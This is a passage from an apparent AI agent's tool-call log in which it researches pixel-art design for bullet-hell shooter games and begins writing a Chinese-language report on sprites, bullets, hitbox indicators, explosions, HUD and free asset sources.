"status": "running", "args": {"mode": "read", "url": "https://www.slynyrd.com/blog/2020/12/14/pixelblog-31-shmup-sprite-design"}, "ts": 1787459412705}, {"type": "progress", "id": "call_c1143ba8dad5409dafe433d3", "tool": "extract_webpage", "status": "completed", "args": {"mode": "read", "url": "https://www.slynyrd.com/blog/2020/12/14/pixelblog-31-shmup-sprite-design"}, "ts": 1787459414348}, {"type": "progress", "id": "call_dcd1dd831137414bba69e3a9", "tool": "web_search", "status": "running", "args": {"max_results": 6, "query": "Touhou Project sprite style analysis pixel art zun danmaku"}, "ts": 1787459414351}, {"type": "progress", "id": "call_dcd1dd831137414bba69e3a9", "tool": "web_search", "status": "completed", "args": {"max_results": 6, "query": "Touhou Project sprite style analysis pixel art zun danmaku"}, "ts": 1787459417642}, {"type": "progress", "id": "call_eb1986397a8c42ac9fa71251", "tool": "web_search", "status": "running", "args": {"max_results": 6, "query": "Touhou in-game 16x16 sprites hitbox visible dot small design"}, "ts": 1787459421142}, {"type": "progress", "id": "call_eb1986397a8c42ac9fa71251", "tool": "web_search", "status": "completed", "args": {"max_results": 6, "query": "Touhou in-game 16x16 sprites hitbox visible dot small design"}, "ts": 1787459426483}, {"type": "progress", "id": "call_4b8565bb8a2f4a11b16b0fad", "tool": "web_search", "status": "running", "args": {"max_results": 6, "query": "danmaku bullet sprite sheet 16x16 pixel art animation rotation"}, "ts": 1787459426489}, {"type": "progress", "id": "call_4b8565bb8a2f4a11b16b0fad", "tool": "web_search", "status": "completed", "args": {"max_results": 6, "query": "danmaku bullet sprite sheet 16x16 pixel art animation rotation"}, "ts": 1787459431129}, {"type": "progress", "id": "call_93762d695977408f8a1956a7", "tool": "web_search", "status": "running", "args": {"max_results": 6, "query": "pixel art explosion animation tutorial frames effect"}, "ts": 1787459431133}, {"type": "progress", "id": "call_93762d695977408f8a1956a7", "tool": "web_search", "status": "completed", "args": {"max_results": 6, "query": "pixel art explosion animation tutorial frames effect"}, "ts": 1787459436810}, {"type": "progress", "id": "call_139d39cdc36f44c3b840e652", "tool": "extract_webpage", "status": "running", "args": {"mode": "read", "url": "https://en.touhouwiki.net/wiki/Hitbox"}, "ts": 1787459439966}, {"type": "progress", "id": "call_139d39cdc36f44c3b840e652", "tool": "extract_webpage", "status": "completed", "args": {"mode": "read", "url": "https://en.touhouwiki.net/wiki/Hitbox"}, "ts": 1787459441682}, {"type": "progress", "id": "call_26baab082ad34188b2dc0d98", "tool": "web_search", "status": "running", "args": {"max_results": 6, "query": "shmup boss design pixel art patterns tell telegraph visual warning"}, "ts": 1787459441689}, {"type": "progress", "id": "call_26baab082ad34188b2dc0d98", "tool": "web_search", "status": "completed", "args": {"max_results": 6, "query": "shmup boss design pixel art patterns tell telegraph visual warning"}, "ts": 1787459446767}, {"type": "progress", "id": "call_4caf93adbb314c2da6c58490", "tool": "web_search", "status": "running", "args": {"max_results": 6, "query": "pixel art game HUD UI design shmup score lives bomb display"}, "ts": 1787459446769}, {"type": "progress", "id": "call_4caf93adbb314c2da6c58490", "tool": "web_search", "status": "completed", "args": {"max_results": 6, "query": "pixel art game HUD UI design shmup score lives bomb display"}, "ts": 1787459452095}, {"type": "progress", "id": "call_35a983537a144b468ca2f666", "tool": "extract_webpage", "status": "running", "args": {"mode": "read", "url": "https://www.slynyrd.com/blog/2021/2/15/pixelblog-32-shmup-design-part-2"}, "ts": 1787459456306}, {"type": "progress", "id": "call_35a983537a144b468ca2f666", "tool": "extract_webpage", "status": "completed", "args": {"mode": "read", "url": "https://www.slynyrd.com/blog/2021/2/15/pixelblog-32-shmup-design-part-2"}, "ts": 1787459457958}, {"type": "progress", "id": "call_89d3ec2b6f764b3cbad48bca", "tool": "web_search", "status": "running", "args": {"max_results": 6, "query": "东方Project 像素风格 游戏 自机 精灵图 弹幕 设计"}, "ts": 1787459457960}, {"type": "progress", "id": "call_89d3ec2b6f764b3cbad48bca", "tool": "web_search", "status": "completed", "args": {"max_results": 6, "query": "东方Project 像素风格 游戏 自机 精灵图 弹幕 设计"}, "ts": 1787459463758}, {"type": "progress", "id": "call_d2e21b337ac74b529ef3b181", "tool": "web_search", "status": "running", "args": {"max_results": 6, "query": "Touhou bullet types tama oval kunai star colored bullets meaning"}, "ts": 1787459463762}, {"type": "progress", "id": "call_d2e21b337ac74b529ef3b181", "tool": "web_search", "status": "completed", "args": {"max_results": 6, "query": "Touhou bullet types tama oval kunai star colored bullets meaning"}, "ts": 1787459466840}, {"type": "progress", "id": "call_544de626311a491f985a1fcf", "tool": "web_search", "status": "running", "args": {"max_results": 6, "query": "opengameart shmup spaceship pixel art free bullet pack"}, "ts": 1787459472466}, {"type": "progress", "id": "call_544de626311a491f985a1fcf", "tool": "web_search", "status": "completed", "args": {"max_results": 6, "query": "opengameart shmup spaceship pixel art free bullet pack"}, "ts": 1787459476880}, {"type": "progress", "id": "call_f0390ea6ecf944fd8eddae15", "tool": "web_search", "status": "running", "args": {"max_results": 6, "query": "danmaku bullet visual clarity design rules distinct colors avoid confusion"}, "ts": 1787459476887}, {"type": "progress", "id": "call_f0390ea6ecf944fd8eddae15", "tool": "web_search", "status": "completed", "args": {"max_results": 6, "query": "danmaku bullet visual clarity design rules distinct colors avoid confusion"}, "ts": 1787459483181}, {"type": "progress", "id": "call_06ffce7189754967aae13512", "tool": "extract_webpage", "status": "running", "args": {"mode": "read", "url": "https://void-dancer.itch.io/danmaku-sprite"}, "ts": 1787459483189}, {"type": "progress", "id": "call_06ffce7189754967aae13512", "tool": "extract_webpage", "status": "completed", "args": {"mode": "read", "url": "https://void-dancer.itch.io/danmaku-sprite"}, "ts": 1787459484550}, {"type": "progress", "id": "call_fd35ab3b52864ab78c03b2ca", "tool": "extract_webpage", "status": "running", "args": {"mode": "read", "url": "https://shmups.wiki/library/Boghog%27s_bullet_hell_shmup_101"}, "ts": 1787459487972}, {"type": "progress", "id": "call_fd35ab3b52864ab78c03b2ca", "tool": "extract_webpage", "status": "completed", "args": {"mode": "read", "url": "https://shmups.wiki/library/Boghog%27s_bullet_hell_shmup_101"}, "ts": 1787459489897}, {"type": "progress", "id": "call_5d5e27cf45a84b60a39e9e74", "tool": "run_command", "status": "running", "args": {"command": "mkdir -p /Users/demo/starraid/research/pixel_art_style && ls -la /Users/demo/starraid/research/", "timeout": 30}, "ts": 1787459489905}, {"type": "progress", "id": "call_5d5e27cf45a84b60a39e9e74", "tool": "run_command", "status": "completed", "args": {"command": "mkdir -p /Users/demo/starraid/research/pixel_art_style && ls -la /Users/demo/starraid/research/", "timeout": 30}, "ts": 1787459489960}, {"type": "progress", "id": "call_eb835147dad04830a66bf3a0", "tool": "todo_update_task", "status": "running", "args": {"completed": true, "task_indices": [1, 2, 3, 4, 5]}, "ts": 1787459493313}, {"type": "progress", "id": "call_eb835147dad04830a66bf3a0", "tool": "todo_update_task", "status": "completed", "args": {"completed": true, "task_indices": [1, 2, 3, 4, 5]}, "ts": 1787459493314}, {"type": "progress", "id": "call_d50cb731e612477f9e864c00", "tool": "write_file", "status": "running", "args": {"file_path": "research/pixel_art_style/pixel_art_research.md", "content": "# 像素风格弹幕射击游戏(Bullet Hell / STG)美术设计调研报告\n\n> 调研时间:2026-08-23\n> 调研范围:玩家自机设计、敌方单位设计、子弹/弹幕像素美术、特效与 UI、免费素材与参考资源\n> 主要信息来源:SLYNYRD(Pixelblog 31/32)、Shmups Wiki「Boghog's bullet hell shmup 101」、Touhou Wiki、Sparen's Danmaku Design Studio、itch.io / OpenGameArt 素材库、(注:详见文末「信息来源与可信度」说明)\n\n---\n\n## 0. 摘要与总体结论\n\n- **弹幕游戏(Danmaku)的美术核心不是\"好看\",而是\"可读性(Readability)\"**:在屏幕同时存在数百颗子弹、多个敌人、粒子特效与道具时,玩家必须能在一瞬间分辨\"哪些是威胁、往哪里躲\"。所有美术决策都应服务于这一目标。\n- **色彩价值(Value)分层是清晰度的关键**:背景用低对比中间调,子弹用小面积高亮+暗色描边(亮暗相邻),玩家子弹、敌方子弹、道具、爆炸用不同明度层级区分。\n- **尺寸基准很重要**:16:9 屏幕下 SLYNYRD 建议 320×180 ~ 640×360 逻辑分辨率;自机相对屏幕的比例决定难度与手感。弹幕游戏常用低分辨率(如 480×270)让像素感更强烈、单位像素信息更少、制作更快。\n- **判定框(Hitbox)视觉提示**是东方式弹幕的标配:低速(聚焦)模式下显示一个小点或小圈,明确告诉玩家\"真正会中弹的位置\",与自机精灵大小形成强烈对比。\n- **免费素材足够支撑原型开发**:itch.io 与 OpenGameArt 上有大量免费像素 STG 素材(自机、敌机、子弹、爆炸、UI),落地阶段可先采购/复用,再逐步原创替换。\n\n---\n\n## 1. 玩家飞船 / 角色设计\n\n### 1.1 分辨率与屏幕尺寸基准(先定画布再画图)\n\n- SLYNYRD(Raymond Schlitter,Thyrian Defenders 作者)建议:16:9 屏幕下,**逻辑分辨率黄金区间为 320×180 ~ 640×360**;其教程以 **480×270** 为目标。\n- 分辨率越低像素越\"块\",像素味越浓、绘制耗时越少;但分辨率过高会失去像素艺术的\"集群可读性(reading intention within clusters)\"。\n- **自机相对屏幕的比例是决定玩法的关键因素**:屏幕越大、自机越小 → 适合高速、多元素同屏的弹幕玩法;自机占屏比越大 → 可容纳的物体越少、玩家反应时间越短(难度体验完全不同)。\n- 常见像素倍率:逻辑分辨率 320×180 / 480×270,放大 2~4 倍整数倍显示,避免像素走样。\n\n**建议(本项目)**:采用 480×270 或 320×180 逻辑分辨率;自机精灵建议 16×16(低配小自机)或 24×24 / 32×32(更有性格);弹幕量较大的话自机宜偏小。\n\n### 1.2 经典像素 STG 自机设计要点(大小、配色、识别度)\n\n综合 SLYNYRD 教程与 Boghog 指南:\n\n- **简洁+独特**:设计越复杂,动画越难做。建议在机翼加条纹(striping)增加性格,同时强调滚转(roll)的深度感。\n- **倾斜/滚转动画**:至少 左/右 + 居中 三帧;SLYNYRD 推荐每侧 **2 帧不同滚转度**(共 5 帧),配合侧向光源,左右移动更平滑(支持模拟输入时可分档滚转)。\n- **尾焰/推进器动画(thruster animation)是必须**:让飞船\"活着\"的关键,通常 2~4 帧。\n- **光源方向全场景统一**:所有精灵与背景使用同一方向光源,才能保持\"飞行\"的立体幻觉。\n- **识别度三要素**:① 与背景/敌方单位的明度层级区分;② 自机弹幕流要\"厚、快、密\"——玩家在紧张的弹幕环境中主要靠弹幕流+轮廓+微光来估算自机位置(Boghog);③ 判定中心可加视觉强调(见 1.5)。\n- **移动手感与视觉配合**:滚转动画速度应匹配移动速度;无惯性移动(Boghog 强烈建议避免移动惯性),若感觉移动\"不流畅\"多半是视觉问题而非参数问题——加残影(afterimage)、尾迹(trail)可显著改善跟手感。\n\n### 1.3 东方Project 系列的角色精灵风格\n\n(说明:以下为对 ZUN 官方游戏内精灵风格的既有认知 + 社区资料的归纳,非实时官方文档。)\n\n- 东方系列正作均为**纵轴弹幕射击**,自机/敌机使用**低分辨率角色小精灵**(PC-98 时代为 16×16 级;Windows 时代精灵更精细但整体仍是\"小尺寸、高识别度\"路线)。\n- 精灵风格特点:**大胆的色块、平涂/少渐变、深色描边**;角色通过发型、发色、服装主色快速辨识(如博丽灵梦的红白、雾雨魔理沙的黑白)。\n- **判定点文化**:按住 Shift 进入低速模式时,自机身上显示一个**小点/小圈标记判定点**(见 1.5),这是东方体系对弹幕公平性的核心贡献,被大量同类游戏沿用。\n- 弹幕本体是同人圈大量复刻的视觉语言:圆弹(tama)、椭圆弹、苦无(kunai)、星弹、音符、护符(amulet)等,见第 3 节。\n- 参考手绘同人/教程中常被提到的 ZUN 风格要点:面部与发型保持多年一致;早期(PC-98)更简朴,色块平涂、用色大胆;Windows 期精灵颜色细节更多但仍保持低饱和背景衬托高饱和子弹的做法。\n\n### 1.4 像素飞船设计要点(落地 Checklist)\n\n| 项目 | 建议 |\n|---|---|\n| 尺寸 | 16×16(极简)/ 24×24 / 32×32(推荐起步) |\n| 帧数 | 居中 1 帧 + 左右滚转各 1~2 帧 = 3~5 帧;尾焰 2~4 帧 |\n| 调色板 | 4~8 色以内/精灵:主色 1~2、辅色/描边 1~2、高光 1、尾焰橙黄 2~3 |\n| 描边 | 深色(近黑)描边,与\"用白色描边的敌方子弹\"形成体系区分 |\n| 轮廓 | 剪影可读性优先,避免细节糊成一片;从剪影草图开始 |\n| 判定中心 | 建议在自机中心下方(东方系在腰部)标 1~2px 亮点 |\n\n### 1.5 判定框(Hitbox)视觉提示设计\n\n- **机制背景**:东方系列中自机碰撞通常用一个**远小于精灵的小圆(约数像素半径)**判定(源自 Touhou Wiki「Hit box」条目:Hitbox 是角色腰部附近的一个小圆,聚焦时可显示)。\n- **视觉提示做法(主流方案)**:\n 1. **低速/聚焦模式才显示**:按住 Shift(低速)时显示一个半透明小圆圈/小点;普通模式不显示(避免干扰)。\n 2. 提示图形建议:**空心圆 + 中心实点**,对比色(如白/亮色配深色描边),随聚焦模式**轻微旋转/脉动**增加存在感(红魔乡社区的 d3d8.dll hitbox 补丁即模拟这种\"旋转+透明度变化\"行为)。\n 3. 判定圈大小应**可配置**(不同自机可不同),提示圈与真实判定圈完全同心、直径一致。\n- **视觉之外的判定公平性**:Boghog 建议——玩家子弹给\"大判定\"、敌人给\"大受击判\"(补偿微操作失误);玩家命中应\"慷慨\"(覆盖贴合情况),才不会有挫败感。\n\n---\n\n## 2. 敌方单位设计\n\n### 2.1 杂兵(Enemy Grunts)的像素设计\n\n- **同一阵营视觉统一+个体差异**:SLYNYRD 强调\"一组单位共享视觉一致性(形态语言、配色体系),又通过形状与颜色彼此区分\"。\n- **角色定位决定美术**:按\"速度 / 血量 / 体型 / 几何弹道 / 颜色\"五要素设计(SLYNYRD):\n - **Popcorn(一发即死的小怪)**:体积小、快、成群出现,是为了制造\"动作感\"而非威胁;血量只要够\"打完这一局\"即可,不要虚高(Boghog)。\n - 快怪 ↔ 低血量+弱弹;慢怪 ↔ 高血量+强火力,尺寸跨度要大。\n- **做 hit 反馈**:受击要闪烁/粒子/抖动,配轻量音效,否则敌人像\"虚影\"(Boghog)。\n- **大判定+可预测移动**:弹幕游戏的挑战来自弹幕而非躲闪敌人本体,所以敌人受击判定要大、移动要慢且可预测(Boghog)。\n- **尺寸参考**:杂兵 16×16 ~ 24×24;中 Boss(miniboss)32×32~48×48;帧数 2~4 帧(多帧震动/开火动画)。\n\n### 2.2 Boss 的体型与细节层次\n\n- **体型梯度**:Boss 应显著大于杂兵(如 48×48、64×64 甚至 96×96),\"越大杀起来越爽\"(SLYNYRD),但不要大到遮挡弹幕视野。\n- **细节层次**:Boss 可以有更多层细节(多层装甲、发光炮口、悬浮部件/浮游炮),但**核心剪影仍需在弹幕中一眼可读**;建议给 Boss 的主炮口、弱点做高亮标记。\n- **Boss 血条分段**:许多 STG 用可视化的 Boss 血条分段(每段切换一个攻击模式),例如 Gamedeveloper 文章提到\"视觉上将 Boss 血条分段以显示本段攻击何时结束\"。\n- **Boss 出场仪式**:Boss 出现前要有\"警告留白\"(玩家无事可做、专注看字幕/警告),用于聚集注意力(Anatomy of a Shmup)。\n- **Boss 爆炸要\"壮观\"**:屏幕级闪光 + 大爆炸动画 + 碎片四散(见 4.1)。\n\n### 2.3 敌方攻击前的视觉预警(Telegraph)\n\n- **蓄力动画**:炮口发光→聚集→发射,是通用预警语言;用 2~4 帧\"粒子向炮口汇聚/炮口颜色渐亮\"表达。\n- **颜色变化**:攻击前单位变色(如变红/变亮)提示即将开火。\n- **激光预警**:东方系激光常见\"先显示一条细亮线(约半秒)再出现命中判定\",是纯粹靠视觉(而非判定)预告的典型做法(社区对永夜抄等作品的解读)。\n- **模式分阶段呈现**:Boss 战先出简单版弹幕→每次重复更快更密更狠(Bullet Pattern Design 教程),玩家靠\"渐进式预告\"进入节奏。\n- **背景预告**:关卡背景用\"地标/视觉节奏\"给玩家读版记忆的锚点(SLYNYRD Part 2)——背景不只是装饰,是记忆关卡的工具。\n- **弹幕扇面/轨迹预告**:可弯曲、可追踪的弹幕建议加尾迹或拉长精灵,让轨迹可读(Boghog)。\n\n---\n\n## 3. 子弹 / 弹幕的像素美术\n\n### 3.1 常见像素子弹样式与尺寸\n\n**东方/弹幕体系常用子弹类型命名**(Touhou Community Jargon、Danmakufu 文档):球(Ball)、椭圆弹、苦无(Kunai)、护符(Amulet)、星弹(Star 大/小)、音符(Note)、米粒/细菌弹、冰锥/碎片(Shard/Icicle)、箭头(Arrow)、火球、心形、花瓣、蝴蝶等。\n\n| 子弹类型 | 常见尺寸 | 形态与用途 |\n|---|---|---|\n| 小圆弹(Pellet/Tama) | 8×8 ~ 12×12 | 基础弹,最密集,靠数量形成弹幕 |\n| 中圆弹(Ball) | 16×16 | 通用主力弹,清晰可读 |\n| 椭圆弹(Oval) | 16×20 左右 | 带方向感/旋转感,常用于弯曲弹道 |\n| 苦无/箭形/导向弹(Directed) | 16×32 左右 | **方向性最重要**:图形应随移动方向旋转(SLYNYRD Part 2:箭头形追踪弹必须朝向运动方向) |\n| 大弹/特殊弹 | 24×24 / 32×32 | Boss 特殊弹、高伤弹 |\n| 激光(Laser) | 宽 4~16、长任意 | 预热细线→粗化→判定 |\n\n### 3.2 子弹颜色与类型的对应关系\n\n- **Danmakufu 官方 8 色**:RED、GREEN、BLUE、YELLOW、PURPLE、AQUA、ORANGE、WHITE——可作为色板起点,且激光与子弹共用这 8 色图形。\n- **颜色编码用途(Note 上\"15 个美丽弹幕\"文章 + Boghog)**:\n - 用颜色区分\"快弹 / 慢弹 / 装饰弹\"等**危险等级**,玩家读色即知威胁;\n - 颜色同时用于表达\"瞄准玩家的弹(aimed)\"与\"固定弹(static)\"等行为差异(各 STG 有自己约定,需在游戏内自学);\n - **红/粉/紫系是弹幕圈事实标准**:与常见特效颜色(黄橙爆炸、金色道具)冲突最少,不易混淆(Boghog 明确指出黄/橙传统弹容易与爆炸和金色道具撞色)。\n- **子弹颜色与发射单位颜色匹配**(SLYNYRD):敌方单位与它发射的子弹同色系,建立\"谁打的\"直觉。\n- **我方子弹用另一色系**(如青/绿白),与敌方红/粉/紫建立对战双方色系对立。\n\n### 3.3 子弹的动画帧设计(旋转、闪烁、脉动)\n\n- **闪烁(Flashing)**:双帧交替即可,对比越强越\"危险\",但对比过强高速移动时反而难追踪(SLYNYRD);常用于\"即将消失/即将命中\"状态。\n- **旋转(Rotation)**:星形、方形、椭圆可用 4~8 帧旋转;椭圆可做 Z 轴\"翻转\"来模拟 3D 感。\n- **脉动(Pulse)**:轻微膨胀-收缩,任何形状都适用,让子弹\"活着\"。\n- **波动/涟漪(Wobble/Ripple)**:CAVE(虫姬/怒首领蜂)子弹常用抖动+涟漪动画,作用是**抓住眼球并给每颗子弹独特身份**(Boghog)。\n- **动画帧数建议**:2D 旋转 4 帧(90°步进)起步、精细 8 帧;脉动 2~4 帧;闪烁 2 帧。帧率 12~15 FPS 贴合像素风。\n- **拖尾(Trail)**:轨迹不寻常(弯曲/追踪)的子弹加尾迹,帮助玩家预判(Boghog)。\n\n### 3.4 大量弹幕同屏时的视觉清晰度处理(核心)\n\n- **价值(Value)分层**:将图像转黑白即可检查——子弹应\"亮部+暗部紧挨\"(发光核心紧贴深色描边/内圈),最大化明度对比;背景用**低对比中间调**,让子弹可以用极值明度自由突出(Boghog)。\n- **描边(Outline)体系**:**敌方子弹用白色/亮色描边**(或亮+暗双描边),其他精灵用深色描边,从体系上把\"威胁\"和\"物体\"分开(SLYNYRD)。\n- **分块/分组(Chunking)**:把子弹编成线/环/簇等可读图案,让玩家读\"组合\"而非单颗;**单颗游离子弹最难读,容易显得不公平**(Boghog)。\n- **深度排序(Depth Sorting)**:敌方子弹永远绘制在自机、我方子弹、道具、爆炸之上;**小且快的子弹绘制在更大更慢的子弹之上**;单颗/小组绘制在大块之上(Boghog)。\n- **留隙(Design gaps)**:弹幕模式要\"设计缝隙\"——玩家能看见逃生路就公平,光炫但读不出路就让人感到不公平(note 文章)。\n- **限制换色**:单屏同时出现的弹色建议控制在 2~3 种(Boghog 风格惯例),避免信息过载。\n- **背景配合**:背景刻意保持暗/中调+低饱和,就是给子弹让出可读空间。\n\n---\n\n## 4. 特效与 UI\n\n### 4.1 爆炸特效的像素动画(SLYNYRD 方法)\n\n- **制作流程**:先用\"圆→扩张变细环\"的几何引导确定整体尺寸与扩张速率 → 把圆转成有机火焰团块 → 调团块运动。\n- **物理真实感原则**:热气先快后慢(热膨胀快、冷却变慢)→ 爆炸**先迅速扩张、后缓慢消散**。\n- **颜色演变**:**白炽(最亮)→ 暖色(红橙黄)→ 灰烟**消散。\n- **形态演变**:团块从整体一致→随扩张分裂为多而复杂的小块;暗部逐渐侵入;最大扩张后缓慢上浮并化为烟。\n- **冲击波**:把引导环稍作修改即可成冲击波环。\n- **Boss 爆炸**:屏幕级闪光 + 多层大爆炸 + 碎片残留(Anatomy of a Shmup 强调\"一切被摧毁的都应爆炸,Boss 阵亡必须是一场辉煌的灯光秀\")。\n- **尺寸建议**:爆炸精灵显著大于被摧毁单位(如单位 16×16 → 爆炸 24~48×24~48,8 帧左右);碎屑粒子 2~8 帧。\n\n### 4.2 拾取道具的视觉效果\n\n- **可读性优先**:道具必须一眼区别于\"威胁物\",形态独特 + **活跃的空闲动画**(idle animation)——旋转、漂浮、脉动、闪光都行(SLYNYRD Part 2)。\n- **经典道具色/形**:P(Power 火力,红色系)、S(Speed 速度)、Bomb(全屏雷)、1UP 生命、Heart 回血;建议固定配色约定(如红=火力、蓝=速度、金=得分)。\n- **分布与运动**:从特定敌人掉落 / 中立单位给予 / 随机入场;下落时做左右漂移、反弹、摇摆等\"伸手去接也有意思\"的运动。\n- **收集反馈**:拾取瞬间应有闪光+粒子+音效+分数飘字(详见 4.3)。\n- **点收集(Point of Collection)**:靠近屏幕顶端的一条\"自动收集线\"(东方系标准道具回收机制),线上道具全自动收集——UI/视觉上要有明确标识(例如顶部的装饰发光横线)。\n\n### 4.3 得分 / 连击的视觉反馈\n\n- **数字飘字**:得分/连击数用大号、亮色、带描边的像素数字,从事件点弹出并上浮淡出;字体建议用现成像素字体(如 Press Start 2P、Silkscreen 的开源替代)。\n- **连击(Combo/Chain)反馈**:连击计时条/乘数图标(如\"x2.5\")靠近 HUD 核心区;连击即将断时闪烁/变红制造紧张感(Dodonpachi 式\"防御性计分\"靠视觉压力驱动玩法)。\n- **擦弹(Graze)反馈**:子弹擦过判定外圈时给火花/星光 + 分数飘字,是东方系核心爽点,视觉上要有专门粒子。\n- **分数增长可视化**:让\"数字变大\"成为本能驱动(Boghog:大亮数字的成长本身就是激励)。\n- **层次化强调**:重要计分元素视觉上加强(更大更亮),次要元素弱化,让玩家一眼抓住当前目标(Boghog「Depth vs Clarity」)。\n\n### 4.4 血条、Bomb 数量等 HUD 设计\n\n- **HUD 基础要素**(STG 惯例):得分、连击/擦弹、自机数量(残机图标)、Bomb 数量(B 图标)、火力等级、Boss 血条(分段)、Boss 名/符卡名横幅、暂停/接关菜单。\n- **Boss 血条**:建议**分段色条**(每段对应一个攻击阶段),置于屏幕上方通栏;段末闪白提示\"即将切换攻击\"。\n- **Bomb 图标**:用典型\"B\"或者手雷/符卡造型的像素图标,数量用并列小图标表示(东方系风格:一枚 B 一颗星/符卡的排列)。\n- **残机(Lives)**:像素自机小图标排列,比数字更直观。\n- **注意遮挡**:HUD 元素放在玩法区之外(顶部/底部条)或半透明;Boghog 提醒玩家主要在屏幕中区活动,HUD 不应遮挡弹幕视野。\n- **风格统一**:HUD 的像素分辨率、色板、字体与游戏本体一致(CraftPix 等素材库提供现成 pixel UI,可直接适配)。\n- **像素 UI 素材参考**:CraftPix.net 的 Pixel Art Game UI 分类(免费/付费都有)。\n\n---\n\n## 5. 参考资源搜索汇总\n\n### 5.1 itch.io 免费/付费像素弹幕素材\n\n| 资源 | 内容 | 链接 |\n|---|---|---|\n| **Danmaku Sprite Pack**(Void dancer)| 模仿东方官方风格的子弹精灵包,免费,需遵守东方二次创作规约,可编辑 | https://void-dancer.itch.io/danmaku-sprite |\n| **Danmaku Sprite Pack(BDragon1727)** | 16×16 火/水/魔法子弹、特效精灵表,免费 | https://bdragon1727.itch.io/fire-pixel-bullet-16x16 、 https://bdragon1727.itch.io/free-effect-and-bullet-16x16 |\n| **Pixel SHMUP Ships / Pixel Art Spaceships for SHMUP**(DyLESTorm)| 免费 1 自机+2 敌机+2 弹幕+8 帧爆炸+UI;付费版 60 艘原创飞船 | https://livingtheindie.com/free-pixel-art-smhup-ships-game-asset 、 https://livingtheindie.itch.io/pixel-art-spaceships-for-shmup |\n| **Pixel Nebula Player SpaceShip**(PixelCarvel)| 32×32 自机,另有玩家僚机(Drone)、Boss 包、竖向背景包 | https://itch.io/game-assets/tag-bullet-hell |\n| **TopDown BulletHell Pack**(einav23)| $5.50 俯视角弹幕包(子弹+敌机+特效) | https://itch.io/game-assets/tag-bullet-hell |\n| **itch.io 筛选页** | `tag=Bullet Hell`、`tag=Shoot 'Em Up`、`tag=Pixel Art`、`Free` 组合筛选 | https://itch.io/game-assets/free/tag-pixel-art/tag-shoot-em-up 、 https://itch.io/game-assets/free/tag-bullet-hell/tag-sprites 、 https://itch.io/game-assets/free/tag-2d/tag-bullet-hell |\n\n### 5.2 OpenGameArt 免费素材(CC0/OGA-BY 授权)\n\n- **Explosions, Bullets, Fire etc (Pixel art)**:爆炸/子弹/火/电等离子精灵,干净像素风 | https://opengameart.org/content/explosions-bullets-fire-etc-pixel-art\n- **Assets Free Laser Bullets Pack 2020**(Wenrexa):66 个 CC0 激光/子弹 PNG,建议配 Color Dodge/Lighten 叠加渲染 | https://opengameart.org/content/assets-free-laser-bullets-pack-2020\n- **Enemy Spaceship 2D Sprites Pixel Art**(CraftPix 发布,OGA-BY 3.0):敌机精灵 | https://opengameart.org/content/enemy-spaceship-2d-sprites-pixel-art\n- **shmup 合集页**:https://opengameart.org/content/shmup\n\n### 5.3 经典 STG 精灵分析与弹幕设计参考\n\n- **Touhou Wiki - Hit box**:判定点机制与尺寸说明 | https://touhou.fandom.com/wiki/Hit_box 、 https://en.touhouwiki.net/wiki/Hitbox\n- **Touhou Danmakufu: Bullets(Fandom)**:8 色子弹系统 | https://touhou.fandom.com/wiki/Touhou_Danmakufu:_Bullets\n- **Touhou Community Jargon**:子弹类型名称大全(球/苦无/护符/星/音符/冰锥等)| https://maribelhearn.com/jargon\n- **Sparen's Danmaku Design Studio(Guide A2/A3)**:固定/随机/瞄准三种发射角、方向性子弹图形、环形公式 | https://sparen.github.io/ph3tutorials/ddsga2.html\n- **Boghog's bullet hell shmup 101**:弹幕游戏设计圣经(可见性/价值分层/深度排序/Toaplan 阵型等)| https://shmups.wiki/library/Boghog%27s_bullet_hell_shmup_101\n- **Shmups Wiki 主站**:https://shmups.wiki\n- **Video Game Boss Design For Shmups**(GameDeveloper):血条分段与 Boss 战设计 | https://www.gamedeveloper.com/design/video-game-boss-design-for-shmups\n- **The Anatomy of a Shmup**(GameDeveloper):爆炸、预告、难度交互清单 | https://www.gamedeveloper.com/design/the-anatomy-of-a-shmup\n- **Bullet Pattern Design(SHMUP WORKSHOP 03,YouTube)**:渐进难度/预告/引导玩家 | https://www.youtube.com/watch?v=ArZRZSYICLo\n\n### 5.4 像素艺术风格指南(教程/博客)\n\n- **SLYNYRD Pixelblog 31 - Shmup Design Part 1**:分辨率、自机、敌机、子弹、爆炸(本报告核心来源之一)| https://www.slynyrd.com/blog/2020/12/14/pixelblog-31-shmup-sprite-design\n- **SLYNYRD Pixelblog 32 - Shmup Design Part 2**:玩家射击类型(Vulcan/Laser/Homing)、道具、环境/视差 | https://www.slynyrd.com/blog/2021/2/15/pixelblog-32-shmup-design-part-2\n- **Pixel Art Tutorial - Understanding Explosions**(Penusbmic,itch.io 视频教程):爆炸动画两种做法 | https://penusbmic.itch.io/pixel-art-tutorial-understanding-explosions\n- **The 12 animation principles adapted for pixel art**(sprite-ai.art):低分辨率下的挤压拉伸/跟随动作 | https://www.sprite-ai.art/guides/animation-principles\n- **Aseprite / Piskel 爆炸教程**(YouTube 检索词:Aseprite pixel art explosion tutorial)\n- Piskel(免费在线像素编辑器):https://www.piskelapp.com\n\n### 5.5 建议搜索关键词(继续深挖用)\n\n`pixel art shmup sprites`、`bullet hell pixel art assets`、`STG sprite design`、`东方Project 像素风格`、`pixel art explosion animation`、`Touhou danmakufu bullet graphics`、`danmaku bullet sheets site:itch.io`、`shmup hitbox indicator`、`CAVE 子弹精灵拆解`\n\n---\n\n## 6. 给本项目落地落实的美术规范建议(可直接执行)\n\n1. **画布与倍率**:逻辑分辨率 **480×270(推荐)或 320×180**,整数倍放大 3~4 倍输出;所有精灵按 16 或 8 的倍数取尺寸(16×16 自机起步 / 32×32 精细自机;敌弹 8~16×16 系列;Boss 64×64)。\n2. **色板分工(建议)**:\n - 背景:低饱和中暗调(深蓝紫灰系),价值集中在中间调;\n - 敌方子弹:红/粉/紫系(8 色 Danmakufu 色板起步)+ 白/亮描边;\n - 我方子弹:青/绿白系 + 深描边;自机:高对比品牌色(如红白、蓝白);\n - 道具:金/橙(得分)、红(火力 P)、蓝(速度 S)、银灰(Bomb)——注意与敌弹色彩错开;\n - 爆炸:白→橙红黄→灰;\n - 预警:蓄力时变亮/变红,激光先亮细线。\n3. **动画帧数基线**:自机滚转 3~5 帧 + 尾焰 2~4 帧;敌机 2~4 帧;子弹旋转 4 帧(或 8 帧)、脉动 2~4 帧、闪烁 2 帧;爆炸 6~10 帧;道具 idle 2~4 帧。统一 12~15 FPS。\n4. **判定与显示**:自机真实判定用 2~4px 半径小圆,聚焦时显示同心空心圆 + 中心点(半透明+微旋),判定圈与显示圈完全同心。\n5. **绘制顺序(渲染层)**:背景 → 道具/粒子 → 我方子弹 → 敌人本体 → 我方自机 → 